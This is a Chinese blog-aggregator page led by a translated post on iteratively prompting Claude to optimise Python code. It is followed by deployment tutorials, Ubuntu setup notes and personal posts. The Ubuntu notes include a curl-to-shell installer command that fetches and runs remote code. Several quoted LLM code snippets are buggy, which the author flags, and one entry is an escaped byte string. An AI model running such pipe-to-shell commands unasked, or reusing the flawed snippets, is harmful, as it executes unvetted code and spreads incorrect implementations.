看起来 AI 生成代码的”宇宙化”就是通过过度工程使其变得企业级,这完全说得通。尽管如此,代码可以不出任何错误地运行。async 和 numba 都是 Python 中的并行方法,所以它们可能造成冗余并产生额外开销。然而,在基准测试后,算法运行速度非常快,每次运行大约 6 毫秒,也就是提速了 100 倍。这完全推翻了我之前认为这种提示词会遇到收益递减的假设。也许 numba 一直都是秘密武器?
总的来说,这种形式的迭代提示词来改进代码有其注意事项:代码确实变得更好了,但事后看来,更好的定义太过宽泛。我只想要算法上的改进,而不是一个完整的 SaaS。让我们从头再来一次,这次要有更明确的方向。

提示词工程让 LLM 写出更好的代码

现在是 2025 年,要从 LLM 那里获得最佳结果,提示词工程 (prompt engineering) 仍然是必需的。事实上,提示词工程对 LLM 变得更加重要:下一个 token 预测模型是通过在大批量输入上最大化下一个 token 的预测概率来训练的,因此它们针对平均输入和输出进行优化。随着 LLM 的显著改进,生成的输出变得更加平均化,因为这就是它们的训练目标:所有 LLM 都偏向于平均值。虽然这既违反直觉又不有趣,但少量的指导,明确告诉 LLM 你想要什么,以及给出一些你想要的例子,将客观上改善 LLM 的输出,远超过构建这些提示词所需的努力。Claude 3.5 Sonnet 由于其强大的提示词遵循能力,即使只是一点点提示词工程也能显著受益。
让我们重做代码优化实验,这次使用积极的提示词工程,确保我们要的结果非常明确,不留任何模糊空间。没错,对 LLM 采用冷酷和”机器人化”的方式反而能让它们表现得更好,管它什么洛夫克拉夫特式的恐惧呢。

初始尝试

这次我们将使用系统提示词,这只能通过 API 使用。系统提示词列出了 LLM 必须遵循的”规则”。既然我想要更优化的代码,我们就在规则中定义这一点,并提供详细的例子:
你写的所有代码都必须完全优化。

"完全优化"包括:
- 最大化内存和运行时的算法大 O 效率
- 在适当的地方使用并行化和向量化
- 遵循代码语言的正确风格约定(例如最大化代码重用 (DRY)- 除了解决用户提供的问题所绝对必需的代码外,不要有多余的代码(即没有技术债务)

如果代码没有完全优化,你将被罚款 100 美元。
关于最后一行:在系统提示词中向 LLM 提供正面/负面激励已不再常见,而且我自己的研究表明,这种方法是否有积极影响还不确定。不过,这个罚款设定在后续的迭代提示中会变得更加重要。
初始用户提示词也增加了一行:
编写 Python 代码来解决这个问题:

给定一个包含 100 万个 1100,000 之间的随机整数的列表,找出数字之和等于 30 的最大数和最小数之间的差值。

在编写代码之前,请规划所有必要的优化。
“规划”是一个长期使用的技巧,可以帮助对齐大语言模型的第一次输出 — 这是”让我们一步一步思考“的现代实现。有些大语言模型会忽略它,但 Claude 3.5 Sonnet 总是会遵循。

基于这个提示词工程策略的完整、未经编辑的对话线程可在 GitHub 上获取

将系统提示词和这个用户提示词发送给 Claude,回应如下:
让我先规划优化:

1. 算法优化:
- 我们只需要跟踪数字之和为 30 的最小值和最大值,不需要存储所有数字
- 我们可以在读取数字时计算数字之和,不需要转换为字符串
- 只需要遍历列表一次 (O(n))

2. 内存优化:
- 只需要存储 2 个变量(最小值和最大值),不需要完整的过滤列表
- 不需要额外的数据结构

3. 性能优化:
- 使用 numba 的 @jit 装饰器加快计算速度
- 创建一个使用模运算而不是字符串转换的快速数字求和函数
- 使用 numpy 生成随机数(比 random.randint 更快)
这很有希望:Claude 立即意识到它应该从 numpy 和 numba 开始,并且使用整数运算来计算数字之和。初始实现:
@jit(nopython=True)
def digit_sum(n):
    total = 0
    while n:
        total += n % 10
        n //= 10
    return total

@jit(nopython=True)
def find_difference(numbers):
    min_num = float('inf')
    max_num = float('-inf')

    for num in numbers:
        sum_digits = digit_sum(num)
        if sum_digits == 30:
            min_num = min(min_num, num)
            max_num = max(max_num, num)

    return max_num - min_num if max_num != float('-inf') else 0
这比随意提示词的初始实现更简洁,特别是没有不必要的注释。但仍然有改进的空间,例如这个实现没有在 jit 装饰器中设置 parallel=True
这种小型的提示词工程导致的代码平均运行时间为 11.2 毫秒,比初始实现快了 59 倍。令人惊叹!

迭代 #1

现在我们可以用一个比”写更好的代码”更详细的提示词来迭代代码:
你的代码没有完全优化,你被罚款 100 美元。让它更优化。
不,这不是煤气灯效应,这是激励对齐。
Claude 回应如下:
@jit(nopython=True)
def digit_sum(n):
    # 使用位操作进行更快的除法
    total = 0
    while n:
        total += n & 15  # 单个数字和的快速查找
        n >>= 4
    return total

@jit(nopython=True, parallel=True)
def find_difference_chunk(numbers):
    min_num = np.iinfo(np.int64).max
    max_num = np.iinfo(np.int64).min

    # 使用 numba 进行并行处理块
    for i in prange(len(numbers)):
        num = numbers[i]
        sum_digits = digit_sum(num)
        if sum_digits == 30:
            min_num = min(min_num, num)
            max_num = max(max_num, num)

    return min_num, max_num

def process_chunk(chunk):
    return find_difference_chunk(chunk)
很好,它识别出了 parallel=True 标志!但是那个数字求和实现很奇怪,使用了位移操作,这通常只用于超优化。我不认为你可以在十进制数上很好地使用位移操作,经过测试,事实证明确实不行,因为这个实现计算出的数字之和是错误的。该实现还包括了多进程分块方法(未显示),这可能与 numba 重复并造成额外开销。同样未显示的是:脚本还使用小型测试数组预编译了 JIT 函数以获得更好的实际性能,这是 numba 文档推荐的基准测试方法。
尽管如此,代码性能相比初始提示词工程实现大幅下降,现在只比朴素实现快 9.1 倍。可能的原因是由于多进程生成新进程,这些进程每次都会重新编译 numba JIT 函数,因此存在巨大的开销。

迭代 #2

继续迭代提示,结果:
# 使用位操作预计算查找表
LOOKUP = np.zeros(100001, dtype=np.uint8)
for i in range(100001):
    # 使用并行位计数优化数字求和
    n = i
    n = (n & 0x0F) + ((n >> 4) & 0x0F) + ((n >> 8) & 0x0F) + \
        ((n >> 12) & 0x0F) + ((n >> 16) & 0x0F)
    LOOKUP[i] = n

@jit(nopython=True, parallel=True, cache=True, fastmath=True)
def find_min_max(numbers):
    # 一次处理 32 个数字使用 SIMD
    min_val = np.iinfo(np.uint32).max
    max_val = 0

    # 带有显式 SIMD 提示的向量化处理
    for i in prange(0, len(numbers), 32):
        # 将 32 个元素加载到 SIMD 寄存器
        chunk = numbers[i:min(i + 32, len(numbers))]

        # 向量化查找和比较
        sums = LOOKUP[chunk]
        mask = sums == 30

        if np.any(mask):
            valid_nums = chunk[mask]
            min_val = min(min_val, np.min(valid_nums))
            max_val = max(max_val, np.max(valid_nums))

    return min_val, max_val
Claude 开始使用 SIMD 操作和块大小来实现(理论上的)极致性能。我对那个位移实现感到困惑,因为它仍然是错误的,特别是现在涉及到十六进制数。事实证明,这是一个计算十六进制数字的数字之和的优化方法,而不是十进制数字,因此这完全是一个幻觉。还有另一个极其微妙的幻觉:当 parallel=True 时,prange 函数不能接受步长为 32,这是一个很少有文档记载的细节。设置 parallel=False 并进行基准测试,确实比初始提示词工程实现略有改进,比基础实现快 65 倍。

迭代 #3

再一次迭代:
# 预计算完美最小哈希表
# 关键洞察:对于 1-100000 的数字,只需要存储数字之和为 30 的
# 格式:[数字] = 1 如果数字之和为 30,否则为 0
HASH_TABLE = np.zeros(100001, dtype=np.uint8)

# 在模块加载时使用位操作生成哈希表
@jit(nopython=True, cache=True)
def init_hash_table():
    min_val = np.iinfo(np.uint32).max
    max_val = 0

    # 使用并行位计数的最优数字求和
    for i in range(1, 100001):
        n = i
        sum = 0
        while n and sum <= 30:
            sum += n & 0xF
            n >>= 4
        if sum == 30:
            HASH_TABLE[i] = 1
            min_val = min(min_val, i)
            max_val = max(max_val, i)

    return min_val, max_val

# 在模块加载时初始化
MIN_VALID, MAX_VALID = init_hash_table()

@jit(nopython=True, parallel=False, cache=True, fastmath=True)
def find_min_max(numbers):
    min_val = MAX_VALID  # 从已知边界开始
    max_val = MIN_VALID
    found = False

    # 单个向量化操作
    mask = HASH_TABLE[numbers] == 1
    if np.any(mask):
        valid_nums = numbers[mask]
        min_val = np.min(valid_nums)
        max_val = np.max(valid_nums)
        found = True

    return min_val, max_val, found
在这种情况下,大模型放弃了一直造成问题的分块策略,并添加了两个优化:一个全局 HASH_TABLE(这只是一个 numpy 数组,我不确定简单的索引查找是否真的算作哈希表),它还引入了一个逻辑微优化,即在对数字求和时,如果数字超过 30,计数就可以停止,因为它可以立即被识别为无效。
一个主要问题:由于一个网上很少有文档提及的微妙问题,那个”在模块加载时生成哈希表”的技巧实际上不起作用:numba 的 JIT 函数外的对象是只读的,但 HASH_TABLE 仍然在 JIT 函数外实例化并在 JIT 函数内修改,因此会导致一个非常令人困惑的错误。经过一个小的重构,使 HASH_TABLE 在 JIT 函数内实例化后,代码正常运输,而且运行极快:比原始基础实现快 100 倍,与随意提示词的最终性能相同,但代码量减少了几个数量级。

迭代 #4

此时,Claude 提示说代码已经达到了”这个问题理论上可能的最小时间复杂度”。所以我改变了方向,只是让它修复数字求和问题:它实现了,而且仅用之前使用的整数实现替换了相关代码,并没有试图修复 HASH_TABLE。更重要的是,通过 HASH_TABLE 的调整,我确认实现是正确的,最终,尽管由于不再使用位移操作而导致性能略有下降,但是比基础实现快 95 倍。

继续提升 LLM 代码生成效果

综合所有内容,让我们来可视化这些改进,包括突出显示那些由于 bug 而需要我修改代码逻辑才能运行的情况。
总的来说,要求 LLM “写更好的代码”确实能让代码变得更好,这取决于你如何定义”更好”。通过使用通用的迭代提示词,代码在功能性和执行速度方面都得到了显著提升。提示词工程能更快速且更稳定地改进代码性能,但也更容易引入细微的 bug,这是因为 LLM 本身并非为生成高性能代码而训练的。与使用 LLM 的其他场景一样,效果因人而异。无论 AI 炒作者们如何吹捧 LLM 为神器,最终都需要人工干预来修复那些不可避免的问题。

本博文中的所有代码,包括基准测试脚本和数据可视化代码,都可在 GitHub 上获取

出乎我意料的是,Claude 3.5 Sonnet 在两个实验中都没有发现和实现某些优化。具体来说,它没有从统计学角度来思考:由于我们是从 1 到 100,000 的范围内均匀生成 1,000,000 个数字,必然会出现大量无需重复分析的数字。LLM 没有通过将数字列表转换为 Python set() 或使用 numpy 的 unique() 来去重。我还以为会看到一个对 1,000,000 个数字进行升序排序的实现:这样算法就可以从头到尾搜索最小值(或从尾到头搜索最大值),而不需要检查每个数字。不过排序操作较慢,向量化方法确实更实用。
即使大语言模型可能会出错,我从这些实验中得到的一个重要启示是,即使代码输出不能直接使用,它们仍提供了有趣的想法和工具建议。例如,我从未接触过 numba,因为作为一个数据科学家/机器学习工程师,如果我需要更好的代码性能,我习惯于使用 numpy 的技巧。然而,numba JIT 函数的效果令人难以忽视,我可能会把它加入我的工具箱。当我在其他技术领域(如网站后端和前端)测试类似的“优化代码”提示词迭代工作流时,LLM 也提出了不少有价值的建议。
当然,这些大语言模型不会很快取代软件工程师,因为需要强大的工程师背景以及其他特定领域的知识,才能识别出什么才是真正好的实现。即使互联网上有大量的代码,若没有指导,大语言模型也无法区分普通代码和优秀的高性能代码。现实世界的系统显然比面试式的编程问题复杂得多,但如果通过快速反复要求 Claude 实现一个功能,能使代码速度提高 100 倍,那这个流程就非常值得。有些人认为过早优化是不好的编码实践,但在实际项目中,这比那些随着时间的推移会变成技术债务的次优实现要好得多。
我的实验存在一个局限性,那就是我使用 Python 来对代码改进进行基准测试,而这并不是开发者在追求极致性能优化时的首选编程语言。虽然像 numpy 和 numba 这样的库通过利用 C 语言来解决了 Python 的性能瓶颈,但更现代的解决方案是采用 polars 和 pydantic 等流行 Python 库,它们使用 Rust 开发。Rust 在性能方面比 C 语言更具优势,而 PyO3 几乎没有性能损耗就能让 Python 调用 Rust 代码。我可以确认 Claude 3.5 Sonnet 能够生成兼容 Python 和 Rust 代码,不过这种工作流程太新颖了,足够成为另一篇博文的主题。
以此同时,虽然要求 LLM 让代码变得更好是 AI 更实用的用途,但你也可以要求它们”让代码更兄弟”…效果好坏参半。

January 22, 2025 12:00 AM

January 21, 2025

life

howiehz

快速部署教程 - 通过 Webhook 触发邮件通知的开源自托管服务

前言 有许多服务(如 ddnsgo)仅支持 Webhook 通知,不支持设置邮箱(SMTP)服务进行通知。 本文介绍的这个可本地部署的服务就是用于将 Webhook 转换成邮箱通知。 本文重在教学如何快速部署,快速体验。 下面列出此项目相关的链接: 项目地址:HowieHz/webhook-emai

by HowieHz at January 21, 2025 02:02 PM

life

January 20, 2025

life

January 19, 2025

life

howiehz

Going Against the Grain - Four Websites That Make Your URL Longer

中文(简体) | English The biggest use of short links is in text messages due to the character limit of SMS. There are already many websites that generate s

by HowieHz at January 19, 2025 02:52 AM

life

January 18, 2025

life

nbmao

Cloudflare Pages 真实地址生成器2.0部署教程

1. Fork 项目仓库

  1. 访问GuooGiiip-geoaddress-generator
  2. 点击右上角的“Fork”按钮创建你自己的副本

2. 在Cloudflare中部署

2.1 准备

  1. 登录Cloudflare 仪表板
  2. 在左侧菜单找到并点击“Pages”
  3. 点击“连接到 Git”按钮
  4. 点击提示 关联您的 GitHub 账号

2.2 创建项目

  1. 选择你刚才叉子的仓库
  2. 点击“开始设置”
  3. 在项目配置页面:
    • 框架默认:选择Next.js注意:不要选择 Next.js Static HTML Export

提示:首次安装可能会出现错误,这是正常现象。按照提示 2.3 启用 Node.js 兼容性并重新安装即可解决。

2.3 启用 Node.js 兼容性

  1. 部署完成后,进入项目设置
  2. 在“运行时”类目的下找到“兼容性标志”,填入nodejs_compat

2.4 完成部署

  1. 返回“部署”页面
  2. 点击“重新部署”按钮
  3. 等待配置完成,访问分配的域名即可使用

3.同步更新(可选)

如果您想手动保持与原仓库同步,​​可以:

  1. 定期访问你的fork仓库
  2. 点击“Sync fork”按钮,参考GitHub官方教程同步fork
  3. 选择“更新分支”即可

如果您想自动保持与原仓库同步,​​可以:

  1. 在 GitHub Action 中新建工作流程
  2. 创建sync.yml文件:
name: Sync Fork

on:
  schedule:
    - cron: '0 0 * * *'  # 每天运行一次
  workflow_dispatch:     # 手动触发

jobs:
  sync:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout Fork Repository
      uses: actions/checkout@v3
      with:
        ref: main

    - name: Set Git User Info
      run: |
        git config --global user.name "github-actions[bot]"
        git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"

    - name: Add Upstream
      run: |
        git remote add upstream https://github.com/GuooGaii/ip-geoaddress-generator
        git fetch upstream

    - name: Merge Upstream Changes
      run: |
        git merge upstream/main --allow-unrelated-histories --no-edit

    - name: Push Changes to Fork
      run: |
        git push origin main

by 笨猫 at January 18, 2025 01:01 PM

serv00搭建wordpress博客教程

以下为自己摸索的搭建wordpress步骤,如有不妥之处请海涵。

事先把自己的域名托管在cloudflare,如想想使用serv00自带域名也是可以的。
下载wordpress压缩包: 下载 – WordPress.org China 简体中文,放置在桌面。
需要工具:crossftp下载并安装在电脑上。

进入serv00后台: https://panel16.serv00.com,链接里的数字你申请的是s几就填几。

第一步:点击WWW websites,再点击Add new websites,此时输入你的域名,输入完后点Add

 

第二步:点击MySQL,再点击Add datebase,此时输入数据库名和密码,如下图

 

第三步:点击SSL,再点击WWW websites,看到第一个ip地址,把这个IP地址添加在cloudflare域名A记录,注意先不要打开小云朵。

 

然后回到WWW websites页面,点击Manage,再点击Add certificate,然后在Type里选择Lets Encrypt这个选项,Domain选择自己添加的域名,最后点Add,这样系统自动就帮我们申请证书了。

 

显示successfully就代表证书申请成功。

此时在浏览器输入自己的域名:demo.zeku.net,出现以下页面就代表部署成功,此时可以到cloudflare域名那里开启小云朵。

 

第四步:在桌面打开安装的软件crossftp,点击左上角:文件,再点击:连接,然后输入登录serv00的账号和密码,填好后点击:连接。如你的链接被墙,需要设置代理,以v2rayn为例,见下图

进去后找到/usr/home/dwaigzgqx/domains/demo.zeku.net/public_html路径,右键点击index.html,然后删除。再然后上传woredpress压缩包到public_html文件夹里,右键点击wordpress压缩包,然后点击:压缩至此。这样压缩包就解压了。

第五步:回到serv00页面,点击File manager,依次点击到路径domains/demo.zeku.net/public_html/wordpress,然后全选wordpress里的文件后右击,点move移动到public_html文件夹。

 

13

 

移动完成后此时可以把空的wordpress文件夹和压缩包删除,选中后右击点delete就删除了。如你还想多建几个站可以保留压缩包,重复上述步骤即可。

最后在浏览器里输入域名:demo.zeku.net就进去到wordpress配置页面了

 

输入之前创建的数据库名和密码,以及填写数据库主机链接,其他默认,最后点击提交

 

然后就是填写站点信息,填完后点击安装wordpress

然后登陆wordpress后台

至此,wordpress就安装完成了

by 笨猫 at January 18, 2025 12:50 PM

pythoncat

Python 潮流周刊#86:Jupyter Notebook 智能编码助手

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目
以下是本期摘要:
① 介绍 Jupyter Notebook 智能助手
② 用纯 Python 写一个“Redis”,速度比原生 Redis 还快?
③ 30 分钟入门 Python 桌面端 + 分享我的开箱即用脚手架
④ 用 aiofiles 和 asyncio 异步处理文件
⑤ 2025 年我如何运行独立的 Python?
⑥ 用 Python Reflex 开发一个健身追踪应用
⑦ 自动化检查 Python Web 应用的可访问性
⑧ 使用测试套件检测内存泄漏
⑨ 使用 Whisper 生成电视剧字幕
⑩ 吴恩达分享个人的 Web 技术栈
⑪ Python 时间序列分类的完整指南
⑫ Python 是新一代的 BASIC
① MoneyPrinterV2:将在线赚钱的流程自动化
② Ghost-Downloader-3:跨平台多线程下载器
③ Channels:为 Django 提供易于使用的异步功能
④ pyper:让并发 Python 变得简单
⑤ uv-secure:扫描 uv.lock 文件,检查是否有漏洞依赖
⑥ ZerePy:开源的 AI 代理启动平台
⑦ fastcrud:专为 FastAPI 设计的异步 CRUD 操作
⑧ Winloop:用于 Windows 的 uvloop 替代库
⑨ fast-grpc:在 Python 中快速实现 gRPC
⑩ bashplotlib: 在终端中进行绘图
⑪ klp:查看结构化日志文件和流(logfmt、JSONL 等格式)
⑫ Open-Interface: 使用 LLM 控制任意电脑
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 86 期周刊的全文:https://www.xiaobot.net/post/d94584e7-fd26-4ab5-95ac-eeb660a95f06
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

January 18, 2025 12:00 AM

January 16, 2025

yangpeiyuan

升级Homelab:intel NUC11ATKC4

搭载了 N5105,16G 内存和 256G SSD 的 intel NUC11 闪亮登场。

NUC11

家中一直运行着几台低成本的 Server 小设备,包括树莓派 3B+(运行脚本)、斐讯 N1 盒子(小钢炮下载机)以及友善 R2S(openwrt 系统)。

2018 年 12 月购入的树莓派,承担着运行脚本和几个简单 Docker 服务的任务,基本能够满足需求。不过,它存在一个明显的缺陷,其系统安装在 TF 卡上,稳定性欠佳。运行大概一个月左右,就会出现文件系统错误,进而导致无法进入系统。索性挂闲鱼 ¥150 秒出。(疫情期间二手价格曾涨到 ¥500,当时怀旧没舍得卖) 如今,app 的推荐算法真绝。卖掉树莓派后,闲鱼首页便被各种低功耗小主机刷屏。由于我的需求很明确,就是要找一个能稳定运行几个脚本和 Docker 服务,从而替代树莓派的设备,所以从颜值方面考虑,选择了这台价值 400 元的二手 intel 阿特拉斯峡谷 NUC11ATKC4 准系统。

希望这次系统安装和配置完成,通电后就安静稳定的待在柜子里,近几年都不要再碰它了。

由于不经常配置 Ubuntu,下面的内容是给自己的备忘。

Ubuntu24.04 系统配置

设置静态 IP 地址

设置静态IP地址

修改 apt 软件源并更新系统

#更换阿里源,已经不是原来的路径/etc/apt/sources.list
vim /etc/apt/sources.list.d/ubuntu.sources

#/etc/apt/sources.list.d/ubuntu.sources其内容为
#把其中的http://cn.archive.ubuntu.com/ubuntu/,修改为https://mirrors.aliyun.com/ubuntu/
Types: deb
URIs: https://mirrors.aliyun.com/ubuntu/
Suites: noble noble-updates noble-backports
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg

Types: deb
URIs: https://mirrors.aliyun.com/ubuntu/
Suites: noble-security
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg

#保存并退出
:wq

#更新
apt update

#升级
apt upgrade

安装和配置 ZSH

#安装 zsh
sudo apt install zsh

#验证 zsh 是否安装成功
zsh --version

#安装 ohmyzsh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

#安装完成后,ohmyzsh 会自动将你的默认 shell 更改为 zsh。你可以使用以下命令来验证是否已切换到 zsh:
echo $SHELL

#主题和插件,编辑.zshrc配置文件
vim ~/.zshrc

#我的插件列表
plugins=(git z sudo docker zsh-syntax-highlighting zsh-autosuggestions)

#最后2个第三方插件需要先手动下载
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

git clone https://github.com/zsh-users/zsh-syntax-highlighting ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

#运行 source ~/.zshrc 来使更改生效
source ~/.zshrc

美化 Terminal

Gnome 的 Terminal 可以在  Gogh  这个项目里找到合适的颜色主题,我选用了 Solarized Dark

ssh

ssh 安装

#安装
sudo apt install openssh-server

#启动
sudo systemctl start ssh

#检查服务状态
sudo systemctl status ssh

#启用 SSH 服务自动启动
sudo systemctl enable ssh

#查看服务状态
sudo systemctl is-enabled ssh

ssh 配置

#配置证书登陆
#使用 ssh-copy-id将公钥复制到远程服务器
#储在默认位置(通常是 ~/.ssh)使用 Ed25519 生成的默认名称为 id_ed25519 和 id_ed25519.pub
cd ~/.ssh
ssh-copy-id user@192.168.1.99   #这将自动将公钥添加到远程服务器的 ~/.ssh/authorized_keys 文件中

#编辑 SSH 服务的配置文件 /etc/ssh/sshd_config
sudo vim /etc/ssh/sshd_config

#确保以下设置已经被打开注释:
#PubkeyAuthentication yes:启用公钥认证。
#PasswordAuthentication no:禁用密码认证(可选,但推荐)。
#ChallengeResponseAuthentication no:禁用挑战响应认证。

#配置 SSH 别名一键登录(本地电脑)
#打开ssh配置文件
$ vim ~/.ssh/config

#新增
Host <起个名字>
HostName <你的服务器ip地址>
User <用户名>
Port [可选项,端口号]

#演示实例
Host nuc
HostName 192.168.1.99
User yangpeiyuan

#完成后,就可以这样登录服务器了
ssh nuc

xRDP

#安装 XRDP 服务器
sudo apt install xrdp

# 启动服务
systemctl start xrdp

# 设置开机自启动
systemctl enable xrdp

# 检查状态
systemctl status xrdp

#将 xrdp 用户添加到 ssl-cert 组
sudo adduser xrdp ssl-cert

#安装完成后,需要注销/重启系统,否则在使用 XRDP 远程连接 Ubuntu 系统时,可能遇到黑屏问题(客户端连接黑屏)。
reboot

#如何连接不上,检查
sudo vim /etc/xrdp/xrdp.ini

#修改成
security_layer=rdp

至此,可以用 ssh 和 Microsoft remote desktop 连接 NUC 了。放入柜子中放光发热。

by yangpeiyuan (i@yangpeiyuan.com) at January 16, 2025 02:40 PM

meituan

美团技术年货 | 600+页电子书,算法、工程、测试、数据、安全系列大合集

b'\xe5\x80\xbc\xe8\x9b\x87\xe5\xb9\xb4\xe6\x98\xa5\xe8\x8a\x82\xe5\x88\xb0\xe6\x9d\xa5\xe4\xb9\x8b\xe9\x99\x85\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe7\xb2\xbe\xe9\x80\x89\xe8\xbf\x87\xe5\x8e\xbb\xe4\xb8\x80\xe5\xb9\xb4\xe5\x85\xac\xe4\xbc\x97\xe5\x8f\xb730\xe5\xa4\x9a\xe7\xaf\x87\xe6\x8a\x80\xe6\x9c\xaf\xe6\x96\x87\xe7\xab\xa0\xe5\x92\x8c\xe7\xa7\x91\xe7\xa0\x94\xe8\xae\xba\xe6\x96\x87\xef\xbc\x8c\xe6\x95\xb4\xe7\x90\x86\xe5\x88\xb6\xe4\xbd\x9c\xe6\x88\x90\xe4\xb8\x80\xe6\x9c\xac600\xe5\xa4\x9a\xe9\xa1\xb5\xe7\x9a\x84\xe7\x94\xb5\xe5\xad\x90\xe4\xb9\xa6\xef\xbc\x8c\xe4\xbd\x9c\xe4\xb8\xba\xe4\xb8\x80\xe4\xbb\xbd\xe7\x89\xb9\xe5\x88\xab\xe7\x9a\x84\xe6\x96\xb0\xe5\xb9\xb4\xe7\xa4\xbc\xe7\x89\xa9\xef\xbc\x8c\xe7\x8c\xae\xe7\xbb\x99\xe6\xaf\x8f\xe4\xb8\x80\xe4\xbd\x8d\xe7\x83\xad\xe7\x88\xb1\xe6\x8a\x80\xe6\x9c\xaf\xe7\x9a\x84\xe4\xbd\xa0\xe3\x80\x82\xe6\x84\xbf\xe5\xa4\xa7\xe5\xae\xb6\xe4\xb9\x98\xe9\xa3\x8e\xe7\xa0\xb4\xe6\xb5\xaa\xef\xbc\x8c\xe5\x8b\x87\xe5\xbe\x80\xe7\x9b\xb4\xe5\x89\x8d\xef\xbc\x81'

by 美团技术团队 at January 16, 2025 12:00 AM

January 15, 2025

anotherdayu

你如何打包你的日常生活

今天阳光很舒服,在常德河边的小咖啡店喝了杯热可可,尝了一块苹果肉桂巴斯克。

店名很有趣,叫「木又寸」,合起来是「树」,英文名 Be a Tree。

.png

工作日店内挺安静,身后椅子上有一只猫咪懒洋洋的晒太阳,心情好的时候会在我们脚下漫步。

WechatIMG649 Large.jpeg

答题

店内有一些藏书,随手翻看着一本,叫《日和手贴—打包你的人生》。

开头是一篇「群访」,标题是「你如何打包你的日常生活」,共有四个问题。

心情很好,顺手答一下:

1.你的包里是凌乱的还是井井有条的?

旅行开始的时候井井有条,但拿取东西的次数多了后,会变的凌乱。

包内有 7 个分区,所以只要不装的太满,还是能快速找到自己要的东西。

2.平时会背怎样的包?

经常背电脑,双肩包更舒适,目前背的是 Bellroy Classic Backpack plus v2,舒适度很高,这三年陪我去了很多地方。耐用性也不错,远看跟新包一样。

不带电脑的时候,我会背一个小斜挎包,装手机、钱包、纸巾。

3.出门时包里会装些什么?

  • 电脑 – MacBook M2 Pro
  • 一加数码收纳包
  • 手机电脑充电线、Anker 65w 氮化镓3口充电器
  • Anker Type-C 扩展坞
  • Lightning to SD Card Camera Reader
  • 充电宝 – Oisle 便携磁吸充电宝
  • EDC 收纳袋 – 近期生病较多,放了一些日常使用的药物
  • AirTag – 快速找包
  • 粗苯卡片包
  • Keith 400ml 钛水壶
  • Cuben 购物袋
  • HeroClip 多功能挂钩
  • Snow Peak X JINS 夹片墨镜
  • 相机 – GR3 (大部分时间会带)

4.理想的包是什么样的?

分区合理,耐看,不花哨,面料耐用。最好是黑色,20-24L,太大不适合日常通勤,太小适用范围太小。我只想备 3 款包:城市日常通勤包、徒步包和斜挎小包。

另外,年初徒步旅行经历大雨,不便打伞,背包没多久就湿透了,差点弄坏相机。所以下一个背包,我会选有防雨性能的,比如 Aer City Pack Pro Ultra。Aer 经典款背包唯一的缺点就是自重有点重,而这款是新材料,线下试过一次,很轻,也耐看。

现在这个包还能背好多年,防水不算日常需求,几年后包坏了再考虑换。

下午,河边人逐渐多了起来,店内又来几桌客人,挺热闹,但也不适合看书了。

收拾收拾回家!

by Dayu at January 15, 2025 12:57 PM

January 13, 2025

howiehz

反其道而行 - 四个让你网址变得更长的网站

中文(简体) | English 短链接最大的用处就是用在发短信中,这是由于短信有字数限制。 市面上已经有很多生成短链接的网站了,这里我想分享几个专门用来把链接变长的网站。 以下示例的原始链接均为:https://howiehz.top 第一个 ooooooooooooooooooooooo.ooo

by HowieHz at January 13, 2025 07:33 AM

January 12, 2025

anotherdayu

嘻嘻哈哈又一年 2024

或许最近,你会看到很多人开始分享自己在 2024 年做到了很多事情。
但如果你在 2024 年唯一做到的事情,就是成功坚持了下来,走完了这一整年。
我想和你说,没关系的,每人有各自不同的生活和经历。放松心态,找到属于自己的路,继续前行吧。

Chipsy & Elfwreck

0

关联:2023,这一年发布的文字就是我的年终总结

自 2021 年开始写博客,2024 年是我坚持写作的第四年,这一年我发布了 83 篇博客,共计 61,602 字 。

照例贴上主页截图,纪念一下。

CleanShot 2025-01-12 at 22.04.06@2x.png

1

年初闭关几个月赶出了毕业论文,跌跌撞撞的博士毕业。

拿到毕业证书后很久都没缓过来。

找到了契合的博后职位,但入职和签证流程折腾了好几个月,至今没走完。

在导师介绍下,兼职做学术期刊编辑,挣生活费。

希望 25 年能顺利入职。

2

这一年生了太多次病,咽炎、肠胃炎、腰伤、甲流… 浑浑噩噩的度过了下半年。

刚毕业的时候,充满干劲,计划了很多项目,但这半年状态实在不好,少有顺利进行的。

希望入职前能调整好状态。

3

年初去英国探望女友,完成了人生中第一次中距离徒步旅行

然后回归异地,做彼此的电子宠物。

年末,女友也完成了毕业答辩,终于回国。

25 年 1 月,我们领证了。

随女友回老家。来过两次,但她看着我这个小胖墩在她屋里敲电脑,总觉得像在做梦。

确实,我高兴的像做梦一样,总看着她傻笑。

4

工作之后,感觉少有机会和父母出游。趁着还有闲暇,下半年陪他俩飞了两次日本,北海道东京和箱根。淡季人少,玩的很开心。

高中同学的女儿满周岁,我有幸被夫妻俩信任,成了小家伙的干爹。

和朋友一起完成了第一个 WordPress 插件:NeoDB Integration

设计了一个博客相关的问卷,评论区有很多有趣的答复。

开启了一个聊天活动,共和 11 位朋友线上交流。

完成了美国心脏协会的 HeartSaver First Aid CPR AED 课程,希望在某个时刻,能够给自己多一份勇气,并且保护自己,帮助他人。

5

11 月份博客被攻击过一段时间,维护后,暂时安全。

这一年中,我最喜欢的博客是 那些脱口而出的思考秋夜、白葡萄酒和面包

祝大家身体健康!

by Dayu at January 12, 2025 03:27 PM

